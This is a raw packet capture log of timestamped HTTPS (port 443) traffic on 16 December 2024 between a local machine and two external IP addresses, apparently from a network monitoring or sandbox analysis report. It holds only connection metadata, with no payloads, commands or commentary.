Dec 16, 2024 15:18:13.253405094 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.253457069 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.257133961 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.257188082 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.257205009 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.257244110 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.260047913 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.260099888 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.260113001 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.260148048 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.263556004 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.263612986 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.263624907 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.263720989 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.266274929 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.266325951 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.266336918 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.266375065 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.269124031 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.269674063 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.269702911 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.270577908 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.272608995 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.272752047 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.275474072 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.276650906 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.278719902 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.281701088 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.424422979 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.425656080 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.428617954 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.429749012 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.429806948 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.429822922 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.429857969 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.432519913 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.434636116 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.434649944 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.436346054 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.437639952 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.437653065 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.439311028 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.439882040 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.439894915 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.440212965 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.441907883 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.442148924 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.445768118 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.445961952 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.448554993 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.448771954 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.451543093 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.451869965 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.454462051 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.454647064 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.457324982 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.457425117 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.460299015 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.460383892 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.463844061 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.466638088 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.466743946 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.468712091 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.469666004 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.469822884 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.473172903 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.473301888 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.617925882 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.618642092 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.620963097 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.622520924 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.624500990 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.626636982 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.627360106 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.630058050 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.630089998 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.630224943 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.634182930 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.634284973 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.636615992 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.636789083 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.639750957 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.639996052 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.642302990 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.642400980 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.646210909 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.646436930 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.648646116 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.648765087 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.651978970 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.652132034 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.654918909 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.655059099 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.657721043 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.657830954 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.661956072 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.662182093 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.664604902 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.664792061 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.809601068 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.809715033 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.811908007 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.812016964 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.814707041 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.814841986 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.818330050 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.818429947 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.821186066 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.821350098 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.824184895 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.824295998 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.827944040 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.828061104 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.830806017 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.830892086 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.833971977 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.834070921 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.836138964 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.836253881 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.840392113 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.840500116 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.843256950 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.843347073 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.845963001 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.846113920 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.848838091 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.849045992 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.852386951 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.852477074 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:13.855411053 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:13.855845928 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.000682116 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.000750065 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.003093958 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.003151894 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.006575108 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.006639004 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.009422064 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.009481907 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.012245893 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.012306929 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.015197039 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.015264034 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.018891096 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.018963099 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.021621943 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.021759033 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.024499893 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.024574995 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.027395010 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.027467012 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.030585051 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.030657053 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.035437107 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.035504103 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.038925886 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.038997889 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.041474104 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.041539907 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.043539047 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.043612957 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.046516895 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.046595097 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.049266100 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.049345970 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.194216967 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.194313049 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.197165012 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.197227001 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.200737953 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.200809956 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.203413010 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.203486919 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.206310987 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.206398964 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.209940910 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.210024118 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.212742090 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.212809086 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.215694904 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.215759039 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.218437910 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.218503952 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.222112894 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.222182035 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.224942923 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.225011110 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.228323936 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.228403091 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.231004953 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.231081009 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.234668016 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.234736919 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.237571001 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.237638950 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.240389109 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.240458965 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.385031939 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.385118961 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.389154911 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.389228106 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.391376972 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.391436100 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.394280910 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.394350052 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.397973061 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.398044109 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.400785923 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.400849104 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.403636932 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.403695107 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.406414986 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.406485081 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.410216093 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.410284042 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.412875891 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.412947893 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.416157007 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.416237116 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.419053078 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.419125080 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.421830893 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.421900988 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.425502062 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.425569057 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.428335905 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.428405046 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.432010889 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.432080984 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.576833963 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.576915026 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.579345942 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.579412937 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.582078934 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.582150936 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.585695982 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.585767984 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.588586092 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.588660955 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.591414928 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.591495037 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.594188929 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.594263077 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.597862959 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.597939014 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.600739956 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.600812912 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.603586912 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.603660107 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.606376886 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.606447935 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.609771967 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.609838009 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.613358021 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.613426924 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.616420984 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.616492987 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.619143009 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.619213104 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.621829033 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.621908903 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.625474930 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.625560045 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.799412012 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.799503088 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.801894903 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.801961899 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.805608988 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.805671930 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.808398962 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.808459044 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.811244965 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.811310053 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.814136028 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.814197063 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.817676067 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.817747116 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.820538998 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.820609093 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.823494911 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.823559046 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.827332973 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.827397108 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.829627037 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.829690933 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.833237886 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.833317995 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.835928917 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.835993052 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.838747025 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.838813066 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.841857910 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.841928959 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.845276117 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.845375061 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.990144014 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.990250111 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.993688107 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.993788958 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.997211933 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:14.997519016 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:14.999998093 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.000130892 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.003156900 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.003236055 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.005737066 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.005868912 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.008956909 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.009273052 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.013961077 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.014138937 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.015300989 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.015397072 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.017143965 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.017515898 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.020912886 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.021029949 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.024190903 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.024420023 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.026957989 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.027124882 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.030133963 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.030203104 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.032933950 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.033091068 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.036303997 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.036514044 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.181641102 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.181745052 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.184010983 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.184286118 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:15.184875965 CET	443	49708	208.91.198.106	192.168.2.5
Dec 16, 2024 15:18:15.184973955 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:18:17.392431974 CET	49708	443	192.168.2.5	208.91.198.106
Dec 16, 2024 15:19:25.042644024 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:25.042691946 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:25.042792082 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:25.044219971 CET	49873	443	192.168.2.5	104.21.64.1
Dec 16, 2024 15:19:25.044234991 CET	443	49873	104.21.64.1	192.168.2.5
Dec 16, 2024 15:19:26.271720886 CET	443	49873	104.21.64.1	192.168.2.5
